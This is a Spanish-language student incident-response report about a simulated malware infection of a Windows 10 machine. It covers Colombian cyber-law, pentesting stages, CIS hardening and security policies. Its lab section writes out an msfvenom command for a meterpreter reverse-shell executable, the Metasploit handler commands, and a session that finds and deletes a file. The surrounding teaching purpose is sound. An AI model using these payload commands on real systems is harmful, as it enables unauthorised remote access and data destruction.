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GLOSARIO

Red team: Es un equipo de personas al que su objetivo es simular ataques
cibernéticos a la organizacion donde esta implementado.

Blue team: Es un equipo de personas al que su objetivo es proteger de ataques
cibernéticos a la organizacién donde esta constituido.

Purpel team: Es un equipo de personal al que su objetivo es velar porque los equipos
de red team y blue team tenga una buena comunicacion y realizar sinergia entre
ellos.

Ciberseguridad: es seguridad digital, es una forma de decir cuando se esta
protegiendo la informacion, dispositivos y activos

Incidentes: Son cosas que pueden pasar frente a un hecho los incidentes de
seguridad, se pueden presentar por multiplex ataques

Firewall Perimetral: es un dispositivo que tiene el fin de proteger la red de ataques
cibernéticos.

Radius: es un protocolo de autorizacion y autenticacion para redes wifi u otro tipo
de redes.

IDS: Sistema de deteccion de intrusos, realiza un analisis y solo estd de modo
supervision frente a ingresos no autorizados.

IPS: Sistema de prevencion de intrusos, este sistema no solo analiza si no también
previene realizando bloqueos o acciones para que los intrusos no lleguen a su
objetivo.

Playload: es la parte de codigo que tiene un malware para que ejecute la accion
maliciosa en el sistema.

Antivirus: son programas con el objetivo de proteger los equipos finales para dtectar
y eliminar virus informaticos.

Msfvenom: es utilizada para iniciar la herramienta de metasploit.

Exploit: explota algun fallo en el sistema informatico y aprovecha usualmente se
utiliza para fines maliciosos.

Hardening: endurece el proceso de aseguramiento para evitar vulnerabilidades ya
encontradas en los dispositivos, equipos.



CIS: Center For Internet Security, centro de seguridad de internet, aca es donde se
tienen las guias y las recomendaciones que se deben tener en cuenta al momento
de asegurar algun sistema.

RESUMEN

Este informe consiste en un incidente de seguridad que se presenta en la
organizacion HackerHouse, se realizan consultas sobre las leyes colombianas
donde se identifica que sanciones se puede obtener realizando diferentes tipos de
ataques, también se identifica que procesos debe realizar un profesional de
seguridad informatica para solventar algun incidente, en este caso se realiza un
levantamiento de informacion, se ejecuta un laboratorio para poder identificar como
fue el ataque y porque se materializo, también como se puede asegurar la maquina
afectada y las recomendaciones que expertos de ciberseguridad indican mediante
las guias de la CIS, se ejecuta la contencion del ataque de la maquina y se realiza
un Hardening del sistema operativo.



1 INTRODUCCION

Se presenta un incidente de seguridad en la organizacibn HackerHouse, se
requiere contener el ataque, con las mejores practicas y recomendaciones para
asegurar el sistema operativo Windows 10 afectado, a su vez se ejecuta un
laboratorio para probar como fue que ingreso el ataque y como se materializo se
especifica las dos maquinas de laboratorio y como se evidencio el ataque mediante
un payload que se exploré en una maquina Kali Linux, con las guias del CIS se hace
un Hardening al Windows 10 para evitar este tipo de incidentes de seguridad en un
futuro, también se da a conocer las politicas de seguridad y las recomendaciones
gue se deben tener en cuenta en una organizacion.

1.1 OBJETIVO GENERAL

El objetivo de este informe es identificar la causa del incidente de seguridad que se
presentod en la organizacion HackerHouse, identificar las vulnerabilidades y saber
como se puede asegurar para no presente este tipo de ciberataque.

1.2 OBJETIVOS ESPECIFICOS

1. Identificar que vulnerabilidades tiene la organizacién en especial en los sistemas
operativos Windows 10.

2. Analizar el incidente de seguridad presentado y realizar la contencion del
ciberataque.

3. Realizar un laboratorio de cémo se realizé el ingreso al equipo y que dafios
pueden realizar explorando con un payload.

4. Plasmar politicas y recomendaciones de seguridad para evitar ciberataques.

5. Indicar a la organizacién la importancia que se tiene al invertir en la seguridad
informética.



2 DESARROLLO DE INFORME

Lo primero que se debe tener en cuenta con el ataque que se presentd en la
organizacion son las leyes que rigen el pais, esto ya lo debemos saber antes de que
pase este tipo de ataques ya que tanto para la compafiia como para nosotros como
profesionales hace que no cometamos ninguna falta grave a nivel legal.

2.1 LEY 1273 DE 2009

es un documento que define la proteccion de la informacion y datos mediante los
pilares de la seguridad de la informacién, explicando los diferentes abusos y
sanciones que conllevan al momento de realizar alguna accién mal intencionada
gue pueda atentar contra estos pilares que son la confidencialidad, integridad y
disponibilidad de los datos y de los sistemas informaticos.

Articulo 269A. Acceso Abusivo A Un Sistema Informatico

Este articulo define que una persona o una organizacion que no esta autorizada
acceda a un sistema informético asegurado.

Articulo 269B. Obstaculizacion llegitima De Sistema Informatico O Red De
Telecomunicacion

Este articulo informa que la persona o entidad que impida u obstaculice por medio
de redes o cualquier elemento que haga parte de los datos o de sistemas
informaticos y que por tal motivo afecte el funcionamiento y el acceso normal a
dichos sistemas, tendra su debida sancion.

Articulo 269C. Interceptacion De Datos Informaticos.

Este articulo hace referencia a la interceptacion de datos informéticos que sin una
orden judicial son intervenidos en su origen, intermedio o en el destino de alguna
transferencia de datos.



Articulo 269D. Dafno Informatico

Este articulo define que, sin estar facultado o autorizado para borrar, alterar, dafiar,
deteriorar o destruir datos informaticos o los tratamientos de los mismos tendria
sancién como en todos los articulos.

Articulo 269E. Uso De Software Malicioso

Este articulo informa que cualquier persona o entidad que produzca y distribuya
software malicioso que significa que puede hacer dafo, robo o cualquier tipo de
accion que perjudique los sistemas informaticos.

Articulo 269F. Violacion De Datos Personales

Este articulo hace referencia a la informacion de la persona o entidad que sin ser
autorizada obtenga, venda, divulgue informacién personal, ficheros, archivos, base
de datos o medios semejantes.

Articulo 269G. Suplantacion De Sitios Web Para Capturar Datos Personales.

Este articulo hace referencia, a alguna persona o entidad que programe o desarrolle
algun sitio web que suplante a otro sitio como espejo y se capture datos sin ser
autorizados.

Articulo 269H. Circunstancias De Agravacion Punitiva

Este articulo informa que se puede aumentar la pena si presenta algunas conductas
gue afecten a un servidor publico, también si se deposita confianza a un empleado
y hace algun tipo de delito como anteriormente dicho en los articulos, también si
tiene que ver con fines terroristas o que genere riesgo de seguridad nacional.

Articulo 2691. Hurto Por Medios Informaticos Y Semejantes.

En este articulo hace referencia a la suplantacion o robo de cualquier sistema
informatico.

Articulo 269J: Transferencia No Consentida De Activos.



El articulo define la no autorizacion de transferencia de activos que mediante
manipulacion informatica se realice perjudicando a un tercero. (sic, 2009)

Estos son los articulos que estarian involucrados en el ataque que se presento en
la organizacion y sus penalidades.

Articulo 269A : Acceso abusivo a un sistema informatico el que sin previa
autorizacion del administrador del sistema informatico tenga ingreso a la
informacion o solamente con el ingreso sin la autorizacién pertinente, incurrira en
pena de prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de
100 a 1.000 salarios minimos legales mensuales vigentes. (mintic, 2009)

Articulo 269C: Interceptacion de datos informéaticos, interceptacion de datos
informaticos que sin una orden judicial son intervenidos en su origen, intermedio o
en el destino de alguna transferencia de datos, incurrira en pena de prision de treinta
y seis (36) a setenta y dos (72) meses. (mintic, 2009)

Articulo 269F: Violacién de datos personales. informacién de la persona o entidad
gue sin ser autorizada obtenga, venda, divulgue informacion personal, ficheros,
archivos, base de datos o medios semejantes. incurrira en pena de prision de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios
minimos legales mensuales vigentes. (mintic, 2009)

2.2 LEY 1581 DE 2012

Esta basada en la proteccion y tratamiento de datos personales que sean registrado
en alguna base de datos de alguna entidad Colombiana, autorizando a esa entidad
0 empresa que puede hacer uso de sus datos sin perjudicar su nombre y solamente
se puede usar esos datos para procesos que pueden estar contemplados para el
debido tratamiento de sus datos personales o para terceros autorizados, estos datos
se puede consultar y actualizar por parte del titular, se debe tener en cuenta que
hay excepciones en solicitar la autorizacion de los datos personales tales como una
urgencia médica etc, para entidades de otro pais se debe garantizar que ese pais
tenga regulado el tratamiento de datos personales de lo contrario no se puede
suministrar ningun dato personal.



Las sanciones que puede imponer la superintendencia de industria y comercio son
de varias formas, como multas de hasta dos mil (2.000) salarios minimos mensuales
legales vigentes, también suspensiones de las actividades relacionadas con el
tratamiento de datos, cierre temporal o cierre definitivo de la misma.

La entidad que regula el tratamiento de datos personales es la superintendencia de
industria y comercio (publica, 2012).

2.3 ETAPAS DEL PENTESTING

Estas etapas del pentesting son importantes nos hace saber que tipo de
vulnerabilidades se puede presentar en la organizacion y asi poder evitar el ataque
gue se presento en la organizacion.

2.3.1 Recopilacion de informacién (footprinting)

Esta etapa es la mas importante porque es donde recopilar informacion del sistema
donde se esta realizando la evaluacion o el analisis, hay dos tipos de huellas en
esta etapa la activa y la pasiva.

Huella activa: significa que se pone en contacto directo con la maquina de destino

Huella pasiva: recopila informacion sobre un sistema de informacién ubicado a la
distancia.

Se puede recolectar diferentes tipos de informacion, sistemas operativos, puertos,
mapa de red, fw, URL etc.

Algunas de las fuentes o técnicas donde se recolecta informacion pueden ser las
rede sociales, sitios web de JOB, Google, ingenieria social, escuchar a escondidas,
Shoulder Surfing etc

(Rahaman, 2022)

2.3.2 Reconocimiento
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Es una de las etapas cruciales porque en la evaluacion de recopilacion de datos se
puede identificar y es posible que en esta epata se pueda tener mas informacion de
la que se ha suministrado.

2.3.3 Descubrimiento y escaneo

Se realiza un escaneo para poder descubrir las formas de probar las
vulnerabilidades del perimetro, la informacion recopilada se utiliza para determinar
servicios disponibles, puertos, host, subdominios etc

2.3.4 Evaluacion de la vulnerabilidad

En esta etapa se realiza un analisis o evaluacion de las vulnerabilidades para poder
identificar posibles fallos de seguridad que pueden ejecutar atacantes internos o
externos donde realicen prueba de penetracion en los sistemas de informacion o
los derivados de ellas.

2.3.5 Explotacién

Después de realizar la evaluacién y el analisis de vulnerabilidades se empieza la
etapa de explotacion esto implica la utilizacién de técnicas y herramientas para
obtener informacién o para penetrar sistemas no autorizados, tenemos que recordar
gue esta prueba o etapa se debe realizar con el permiso explicito del administrador
del sistema.

2.3.6 Analisis final y revision

Se realiza un andlisis y un informe correspondiente a las etapas anteriores
informando al detalle desde donde se empezaron las pruebas y como se
identificaron las vulnerabilidades también se realiza las recomendaciones
pertinentes para que se pueda mitigar esas vulnerabilidades encontradas.

2.3.7 Resultados de las pruebas
Esta etapa la define la organizacion a la que se evaluo, para poder evaluar el riesgo

de las vulnerabilidades encontradas, analizando el impacto y las recomendaciones
gue se realizan para poder ejecutar alguna accién respecto al informe entregado.

11



Estas serian las aplicaciones que pueden ser utilizadas para pentesting Whois
lookup tools, maltego, shodan, nessus, nmap, openvas, metasploit, OWASP ZAP,
Mimikats.

¢ Y por qué piensa que es una de las etapas mas importantes dentro del pentesting?

La etapa mas importante es footprinting porque es donde se recopila toda la
informacion para poder llevar acabo las demas etapas sin pasarse alguna
informacion importante que le da la visual especifica del sistema.

24 METASPLOIT

Funcionamiento

Ayuda a profesionales de seguridad o a hackers éticos a identificar, explorar
vulnerabilidades en sistemas informéaticos, esta herramienta se basa en un conjunto
de mddulos que incluye encoders, payloads, exploits, entre otros.

Arquitectura

Es una arquitectura modular y extensible, que contiene varios componentes.
Framework, database, MSFConsole, Web interface.

Opciones

Dentro de la plataforma se tiene varias funcionalidades y opciones, como las
siguientes.

Automatizacion, generacion de informes, explotacion, escaneo, actualizaciones
(ciberseguridad, s.f.).

Se realiza un ejemplo del uso de metasploit.

Fig 1 Ayuda en metasploit
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help

Core Commands

Command Description

? Help menu

banner Display an awesome metasploit banner

cd Change the current working directory

color Toggle color

connect Communicate with a host

debug Display information useful for debugging

exit Exit the console

features Display the list of not yet released features that can be
opted in to

get Gets the value of a context-specific variable

getg Gets the value of a global variable

grep Grep the output of another command

help Help menu

history Show command history

load Load a framework plugin

quit Exit the console

repeat Repeat a list of commands

route Route traffic through a session

save Saves the active datastores

essions Dump session listings and display information about sessi
ons

set Sets a context-specific variable to a value

setg Sets a global variable to a value

sleep Do nothing for the specified number of seconds

spool Write console output into a file as well the screen

threads View and manipulate background threads

tips Show a list of useful productivity tips

unload Unload a framework plugin

unset Unsets one or more context-specific variables

unsetg Unsets one or more global variables

version Show the framework and console library version numbers

Module Commands

Command Description

advanced Displays advanced options for one or more modules

Fuente: El autor

Fig 2 Busqueda de vulnerabilidad

by name or index. For example
smb/ms17_010 nalblue
i /meterpreter/
info

indows Kernel Pool Corruption
nalblue

windows 7
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En la figura 3 se valida a que destino queremos realizar la prueba de vulnerabilidad.

Fig 3 Identificacion del destino

Starting Nmap 7.93 ( https://nmap.org ) at 2023-@8-10 18:50 EDT
Nmap scan report for 192.16

Host is up (@.000044s latency).

All 19@@ scanned ports on 192.168.3.51 are in ignored states.
Not shown:

Nmap scan repor
Host is up (@.¢ ate
Mot shown: 997 closed tcp p
PORT STATE SERVICE
/ OpeEN MSTPC
open netbios-ssn
open microsoft-ds

Mmap done: 1824 IP addres (2 hosts up) scanned in 3
msfe >

Fuente: el autor

Fig 4 Validacion del exploit

Fuente: el autor

+ Antes de un ataque esto es lo que se debe saber para poder actuar de forma
rapida ya que podemos estar frente a un ataque antes detectado por eso
conocer esto es de suma importancia ¢Qué es un CVE y su estructura? Y
también ¢ https://www.exploit-db.com/ cémo se utilizay como se articula con
el CVE?
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CVE (Common Vulnerabilities and Exposures) es un trabajo que se realizé a nivel
internacional para estandarizar una base de datos que tenga las vulnerabilidades
conocidas (Corporation, 2002), en la que cada referencia tiene un numero de
identificacion propio y la descripcion de cada una con mucha informacion de la
misma como versiones de software afectadas, posibles soluciones si ya se ha
solucionado, referencias de las publicaciones donde estan las vulnerabilidades y
documentacion de las mismas (tarlogic, 2023).

La estructura de un CVE tiene un formato general para poder identificarlo.
CVE-YEAR-NUMBER

CVE: esto indica que esta basada en el estandar ya descrito

YEAR: este campo describe el afio que se asigno el identificador

NUMBER: este es un numero secuencial propio o Unico para identificar la
vulnerabilidad.

https://lwww.exploit-db.com/ como se utiliza y como se articula con el CVE?

exploit-db recopila y comparte informacion sobre exploits y vulnerabilidades de
seguridad informatica, la plataforma almacena exploits, detalles técnicos y pruebas
de concepto (futurelearn, s.f.)

Como se complementa exploit-db con CVE, cuando en exploit-db se publica una
vulnerabilidad se procede a analizar y a validar por la comunidad de seguridad para
revisar que sea legitima la vulnerabilidad si es de esta forma se procede a clasificar
esta vulnerabilidad y se genera una entrada detallada de la misma en la base de
datos de CVE.

2.5 PASOS PARA IDENTIFICAR ATAQUE

¢Ante un ataque informatico en tiempo real usted como experto en Ciberseguridad
qué pasos toma para identificar dicho ataque? Debe listar y explicar cada uno de
estos pasos.

Monitoreo (tiempo real): Con las herramientas de monitoreo en tiempo real se
pueden identificar anomalias y eventos que estén transcurriendo dentro del ataque,
se puede utilizar SIEM, IDS, IPS.

15



Validacion de las Alertas: Si en las herramientas de seguridad se presenta alguna
alerta, realizar el andlisis si es una falsa alarma o si definitivamente es un ataque,
identificacion en antivirus tradicionales o XDR.

Recopilar datos del evento: Realizar una recopilacion de los registros de eventos
del sistema y analizarlos, esto puede incluir, registro de autenticacion, registros del
firewall, registros a servidores web, etc.

Analizar el trafico de la red: Revisar y analizar el trafico en la red para identificar
trafico inusual dentro de la red que puede dar un indicio de que es lo que esta
sucediendo.

Correlacion de eventos: Hacer una correlacion de eventos o registros para poder
identificar si es una cadena de eventos que tienen similitud o es una campafa de
amenazas.

Identificar punto de entrada: Determinar cual fue el punto de ingreso como pudo
entrar el ataque o los atacantes y tratar de contener el atague si se puede cerrar el
punto de entrada.

Andlisis de malware: Si se tiene alguna sospecha de malware, revisar que equipos
estan afectados y analizar el cdédigo malicioso para poder mitigarlo.

Contencion y mitigacion: Realizar medidas inmediatas de contencion de la amenaza
y evitar que se propague, realizar procesos de aislamiento de maquinas, etc.

Notificacion y Documentacion: Realizar notificacion a toda el area implicada y
realizar la documentacién detalla del incidente y las acciones tomadas durante el
ataque.

Recuperacion y analisis posterior: proceder a recuperacién del sistema, datos
comprometidos y analizar de qué manera se pudieron comprometer.

Aprendizaje y mejora continua: Realizar una evaluacion del incidente e identificar
lecciones aprendidas y mejoras que se pueden ejecutar y son necesarias, que
controles de seguridad se beben implementar.

2.6 DETALLES DEL ATAQUE

Se presenta un ingreso inusual a una maquina Windows 10 de la organizacién
HackerHouse, dentro del levantamiento de informacion se encontr6 que habian
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enviado un archivo .exe via whatsapp llamado PoCseminario.exe y se habia
ejecutado en dicha maquina donde el administrador del equipo se da cuenta que le
borraron un archivo .txt ubicado en el escritorio de su maquina.

2.6.1 Levantamiento de informacion

El administrador del equipo informa que le enviaron un archivo por whatsapp que
procedié a descargarlo y ejecutarlo, se identifica que las herramientas de deteccion
como antivirus, firewall y Windows defender se encuentran deshabilitadas, dentro
de la recoleccion de informacion el duefio del equipo informa que se comenzaron a
desaparecer documentos en el escritorio que tenia informacion.

Aspectos importantes

a. El archivo de texto que se tenia en el equipo desaparecio.

El Equipo vulnerado es un sistema operativo Windows 10

c. Los sistemas de seguridad del equipo deshabilitados (antivirus, firewall,
Windows defender)

d. Administrador de la maquina informa que recibié un archivo por via whatsapp
web y lo ejecuto.

o

Fig 5 Grafico de ataque

envio de archivo por

E 1 whatsapp \ =

User 1
l Atacante
Magquina
Windows 10 |

Payload ‘
Ejecucion del exploit

| Ingreso a la

maguina
Maguina
kali linux
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Fuente: Autor

Se aisla la maquina de la red para que el atacante no tenga acceso a ella 'y se realiza
la revision de los sistemas de monitoreo y de deteccién de amenazas de porque lo
dejo pasar, después se realiza un laboratorio de pruebas y un hardening de
aseguramiento del equipo.

2.6.2 Laboratorio de pruebas

Se realiza un laboratorio de pruebas de como se materializo el ataque por tal motivo
se utilizan dos maquinas virtuales una con sistema operativo Windows 10 con las
especificaciones anteriormente descritas y otra con sistema operativo Kali Linux que
va a simular un playload.

a. Serealiza la creacion de la carga en msfvenom, con esta creacion se almacena
el archivo .exe para poder ingresar a la maquina a la que se ejecuta.

msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64
LHOST=192.168.2.208 LPORT=443 -f exe >>
/homre/Kali/Downloads/PoC_Seminario.exe

Fig 6 Creacién de carga util msfvenom

v Edit View Help

Downloads - Thner
Go Bookmarks Help

¢« Akl Downloads

Fuente: Autor
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b. se envia el archivo por medio de whatsapp de un trabajador a otro, el
administrador del equipo ejecuto el archivo y abri6 el ingreso del exploit que se

envio.
Fig 7 Descarga del archivo
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3| Documantes o
| Imdnmne
B Misica
B videos
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B Este squipe
b Red
1 alermerin =
Fig 8 Ejecucion del archivo
)\ = Lanistrar
Inido Compan) Wista Herramientas ce aplcacion (2]
« + & » Esteequpo > Descargas v§ e
[ te musd
<
* hoy
T . [ PaC Seminia F KRB
Advertencis de saguricad ce Abrir archvs x
o se pudo comprobr o editor. Bt seguro de que desea Gecutan este
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o R CAUsers\wookusen Deovrloads Pol_Seminano <
APregurter smmpre urtes de abiin sstu archive clic
i Frme digital vikida que comprushe s
re 32 o edriores en oz que conbia. JLomg
°
durranio e TOOKE T =
= 11:06 Ap2
3 s s =
&, O 2y uﬂ! CTIN -~ Za . A BmTd gy, B
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Fuente: Autor

a. Estos son los comandos con los que se ejecuta el payload.

Use exploit/multi’lhander - este comando se usa para esperar que el exploit
se ejecute y quede en modo escucha

set payload windows/x64/meterpreter/reverse_tcp -> este comando permite
controlar remotamente el sistema de archivos y varias funcionalidades del
sistema. (github.com, 2023)

set Ihost -> equipo que escucha en este caso Kali linux
set Iport -> puerto en el que escucha

exploit -> realiza la explotacion con los parametros anteriores

Fig 9 Explotacion del payload

msf6 > use exploit/multi/ha
use exploit/multi/hams/steamed use exploit/multi/handler
msf6 > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.2.208
lhost = 192.168.2.208
msf6 exploit( ) > set lport 443
lport = 443
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.2.208:443

Sending stage (200774 bytes) to 192.168.1.27
Meterpreter session 1 opened (192.168.2.208:443 — 192.168.1.27:51020) at 2023-09-07 12:00:15 -0400

Fuente: Autor

Fig 10 Ingreso a la maquina windows
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meterpreter > sysinfo

Computer - WINDOWS10

0Ss : Windows 10 (10.0 Build 19045).
Architecture : x64

System Language : en_US

Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows

meterpreter > |j

Fuente: Autor

c. Se realiza la busqueda del archivo extension.txt para saber la ubicacion con el
comando

Search -f extension.txt

Fig 11 Busqueda del archivo a eliminar

meterpreter > search -f extension.txt
Found 1 result ...

Path Size (bytes) Modified (UTC)

c:\Users\vboxuser\Desktop\extension.txt @ 2023-09-07 15:51:55 -0400

meterpreter > [J

Fuente: Autor

Fig 12 Informacion almacenada en .txt
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J extension: Bloc de notas = m} X

Archive Edicion Formato Ver Ayuda

Monica Julieth Escobar Duarte 07/09/2023 etapa 3

Linea 1, columna 1 100%  Windows (CRLF) UTF-8

Fuente: Autor

d. Se procede a realizar la eliminacién del archivo en mencién con el comando rm
extension.txt

Fig 13 Eliminacién de archivo txt

> Tm extension.txt

Fuente: Autor

2.6.3 Contencion de ataque

Se finaliza el laboratorio y se realiza la contencion de ataque se busca la guia de la
CIS el hardening de Windows para tener una guia con las mejores practicas para
asegurar este sistema operativo (cisecurity, s.f., pag. 13).

a. se habilita el antivirus.

Fig 14 Activacién de windows defender
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o antivirus y proteccion ¢Tienes alguna pregunta?
fr  Inicio 1 Contra amenazas Obtener ayuda
P Proteccion antivirus y contra amE'HHZES'/ Ver y actualizar la configuracion de Proteccion
contra virus y amenazas de Antivirus de Ayuda a mejorar el servicio
,Q Proteccion de cuentas Microsoft Defender.

Seguridad de Windows

o Envfanos tus comentarios
{9 Firewall y proteccién de red

O  Control de aplicaciones y navegador Proteccién en tiempo real
Busca malware e impide que se instale o gjecute Cambiar |a configuracion de
8 Seguridad del dispositivo en tu dispositivo. Puedes desactivar esta opcion privacidad
durante un breve periodo de tiempo antes de o .
% Rendimiento y estado del dispositive que se vuelva a activar automaticamente. Permite visualizar y cambiar la
configuracién de privacidad del
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L Configuracion de privacidad
proteccion en

tiempo real
Proteccion basada en la nube

Panel de privacidad
Declaracién de privacidad
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m Activado

@ Configuracién
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- - = = o 188 = 12:56 PM
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b. se realiza exdmenes actuales de amenaza con antivirus de Windows

Fig 15 Se realiza una examinacion con windows defender
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Proteccion antivirus v
contra amenazas

Proteccidn contra amenazas para tu dispositivo.

Y9 Armenazas actuales

Mo hay amenazas actuales.
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- Configuracion de antivirus y
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Mo se requiere ninguna accidn.

Addministrar la configuracién

c. Se tiene que habilitar el firewall de Windows

Fig 16 Restaura configuracion de firewall de windows
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Fuente: Autor
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Fig 17 Se deja activado el firewall de windows
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Fuente: Autor

d. Se activa la activa proteccion basada en reputacion

Fig 18 Activacién proteccion basada en reputacion
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2.7 FUNCION QUE TIENE CIS.

¢, Qué funcién tiene CIS “Center For Internet Security” dentro de equipos BlueTeam?

La CIS “Center For Internet Security” tiene especificados controles y la guia de
configuraciones de seguridad recomendados, también proporciona recursos,
mejores précticas y directrices que ayudan a mejorar la seguridad en una
organizacion asi fortaleciendo el blue team.

CIS Controls: esta guia realiza la combinacion de controles por cada actividad que
se ejecute con el fin de tener segmentado cada area o actividad que tenga la
organizacion a donde se implemente.

En el momento se tiene dividido en 18 controles de esta manera.

CIS Control 1 inventario y control de activos empresariales

CIS Control 2 inventario y control de activos de software

CIS Control 3 proteccion de datos

CIS Control 4 configuracion segura de software y activos empresariales
CIS Control 5 Gestion de cuentas

CIS Control 6 Gestion de control de accesos

CIS Control 7 Gestion continua de vulnerabilidades

CIS Control 8 Gestion de registro de auditoria

CIS Control 9 Protecciones de correo electronico y navegador web

CIS Control 10 Defensas contra malware

CIS Control 11 Recuperaciéon de datos

CIS Control 12 Gestion de infraestructura de red

CIS Control 13 Monitoreo y defensa de la red

CIS Control 14 Concientizacién sobre seguridad y capacitacion en habilidades
CIS Control 15 Gestion de proveedores de servicio

CIS Control 16 Seguridad de software de aplicaciones

CIS Control 17 Gestion de respuesta a incidentes

CIS Control 18 pruebas de penetracion

(cisecurity, s.f.)
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Fig 19 Pagina de CIS CONTROL

< C & cisecurity.org/controls/cis-controls-list  emmm——Pagina web
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Save up to 20% on a new CIS SecureSuite Membership with promo code AUDIT2023. | Apply now

CIS Hardened Images @ Support™»  CIS WorkBench Sign Ir
CI S Centerfor
. Internet Security’

Creating Conficdence in the Connected World, COMPANY v~ SOLUTIONS v

The 18 CIS Critical Security Controls

The 18 CIS Critical Security Controls

Formerly the SANS Critical Security Controls (SANS Top 20) these are now officially called the CIS Critical
Security Contrals (CIS Controls).

CIS Controls Version 8 combines and consolidates the CIS Controls by activities, rather than by who
manages the devices. Physical devices, fixed boundaries, and discrete islands of security implementation
are less important; this is reflected in v8 through revised tarminology and grouping of Safeguards, resulting
in a decrease of the number of Controls from 20 to 18.

Click on the individual CIS Control for more infarmation:

Fuente: Autor

CIS Benchmarks: esta guia hace referencia a recomendaciones de configuracion
prescriptivas para mas de 25 familias de productos reconocidos, estas
recomendaciones son basadas en expertos en ciberseguridad a nivel mundial.

Podemos descargar los PDF de la siguiente forma.

Ingresamos a la siguiente pagina https://www.cisecurity.org/cis-benchmarks, vamos
a la opcion download Benchmarks.

Fig 20 Pagina CIS Benchmarks
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C | S BenCh ma rkS LISJ[ Find the CIS Benchmark you're looking

The CIS Benchmarks are prescriptive configuration for
recommendations for more than 25+ vendor product families.
They represent the consensus-based effort of cybersecurity

experts globally to help you protect your systems against Select your technology.
threats more confidently.

DOWNLOAD BENCHMARKS —>

Fuente: Autor

Choose from operating systems, cloud
clic aqui providers, network devices, and more

b. Por parte de CIS solicitan informacion para descargar los PDF, se diligencia el
formulario y envian un correo para el ingreso a los PDF.

Fig 21 Formulario para descargar pdf CIS

« C @ leamcisecurityorg LjE20TUXN] B w @ »0(
35 Toreas [ FortGate - Croydo, s mu ke
@ CIs Benchmarks FREE BENCHMARKS

Download Our Free Benchmark PDFs

Complete the form below and get access to

The CIS Benchmarks are distributed free of charge in PDF format for non-commercial use to ALL of our Benchmarks PDFs for free, non-
propagate their worldwide use and adoption as user-originated, de facto standards. CIS Benchmarks commercial use.
are the only consensus-based, best-practice security guides both and
accepted by government, business, industry, and academia.
First Name *
D O Banchemarks
222 ' oxnoer Last Name *

Organization *

Sector *

Fuente: Autor

c. Se recibe el ingreso mediante correo, le damos clic a Access PDF’s

Fig 22 pagina de CIS
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CIS <iearné 17:36 %
parami v
R inglés v > espaiol v Traducir mensaje Desactivar par

o rendary 2 View thiz emai 323

@- Ic:tmosrecurity'

Thank you for completing the CIS Benchmarks PDF download form. We have received
and approved your request, and you willfind the link to the downioad page below

You now have access to all of our CIS Benchmarks PDFs and can download as
many as you like

IMPORTANT.
You must use the same browser 0 access the downioad page as you filed out the
benchmark form, and you must have cookies enabled. If you have any issues
accessing the benchmark reports please let us know at leam@cisecurity.org

clic aqui
Access PDFs

Fuente: Autor

d.Pagina tiene pdf’s de los productos mas comerciales.

Fig 23 P&gina de pdf’s cis
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CIS Microsoft Windows 10 Stand-alone Benchmark v2.0.0 Download PDF

CIS Microsoft Windows 10 EMS Gateway Benchmark v2.0.0
CIS Microsoft Windows 11 Stand-alone Benchmark v2.0.0
CIS Microsoft Windows 11 Enterprise Banchmark v2.0.0
CIS Microsoft Windows 10 Enterprise Benchmark v2.0.0
CIS Microsoft Windows 10 Enterprise Release 2004 Benchmark v1.9.1
CIS Microsoft Windows 8.1 Waorkstation Benchmark v2.4.0
CIS Microsoft Windows 7 Workstation Benchmark v3.2.0

Fuente: Autor

(cisecurity, s.f.)
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2.8 HERRAMIENTAS DE DETECCION DE ATAQUES

Snort: sistema de prevencion de intrusiones (IPS), esta herramienta utiliza una serie
de reglas que definen actividad maliciosa, no solamente alerta sino también pueden
detener estos paquetes, tiene varios roles dependiendo del requerimiento de la
persona o la empresa que lo utilice

(snort, s.f.)

Suricata: es un software de codigo abierto que puede monitorear el tréfico de red en
el sistema y es capaz de detectar comportamientos maliciosos, para entender esta
herramienta se debe saber que tiene dos modos de operacion, el modo pasivo (IDS)
y el modo activo (IPS), esta herramienta estd disefiada especialmente para
identificar malware y actividades malignas en la comunicacién con un sistema de
internet (keepcoding, 2023).

Ossec: Esta es una herramienta de cddigo abierto que es manejada con HIDS que
se instala en los dispositivos de usuario final para monitorear las actividades que
realiza el ordenador, usualmente se utiliza para ordenadores (keepcoding, 2022).

2.9 INTEGRACION EQUIPOS BLUE, RED Y PURPEL

De qué manera pueden aportar en el campo de la ciberseguridad la integracion de
equipos blue team, red team y purple team al mismo tiempo dentro de una
organizacion.

Los tres team son importantes para la organizacion ya que tienen objetivos
diferentes, pero su objetivo comUn es garantizar la ciberseguridad de la
organizacion donde esta implementado la integracién de estos equipos, vamos a
hacer una breve explicacién de lo que hace cada team y su objetivo.

2.9.1 Blue Team:
Garantiza la seguridad de la infraestructura de TI, ejecuta un trabajo en la deteccion

temprana de amenazas y realiza respuesta de incidentes. (keepcoding, 2023, pag.
13)
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2.9.2 Red Team:

Su objetivo es simular ataques cibernéticos a la organizacion para identificar que
problemas se tiene en la ciberseguridad, realizando informes detallados de las
vulnerabilidades encontradas. (keepcoding, 2023, pag. 13)

2.9.3 Purple Team:

Ayuda a que blue team y red team trabajen en conjunto, también es un traductor de
las vulnerabilidades que encontré red team y le informa a blue team que acciones
concretas tiene que ejecutar para asegurar de manera efectiva, por ese motivo se
llama purple team por la mescla de los dos equipos. (keepcoding, 2023, pag. 14)

2.10 POLITICAS DE SEGURIDAD

2.10.1 Politica de instalacion y actualizacion de software:

% Se requiere mantener software licenciados o garantizando que el software
instalado no sea troyano, malware etc.

% El objetivo es mantener los sistemas actualizados con los ultimos parches de
seguridad. (Grupo Cibernos, s.f., pag. 17)

“ Implementacion de proceso de aplicacion de parches de seguridad. (itforce,
s.f., pag. 17)

2.10.2 Politica de capacitacion:

¢ Educar a los empleados o0 a los usuarios sobre concientizacion de amenazas
de todo tipo.

“ Ejecutar simulacros de ataques para saber si las capacitaciones han sido
beneficiosas y que personal esta mas propenso en caer en algun ataque.

2.10.3 Politica de respuesta de incidentes:

« Definir responsabilidades y roles en caso de presentarse algun incidente
(Celsia, 2019)

+ Establecer procesos o planes para dar respuesta a incidentes sobre ataques
cibernéticos. (checkpoint, s.f.)
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2.10.4 Politica de seguridad de red:

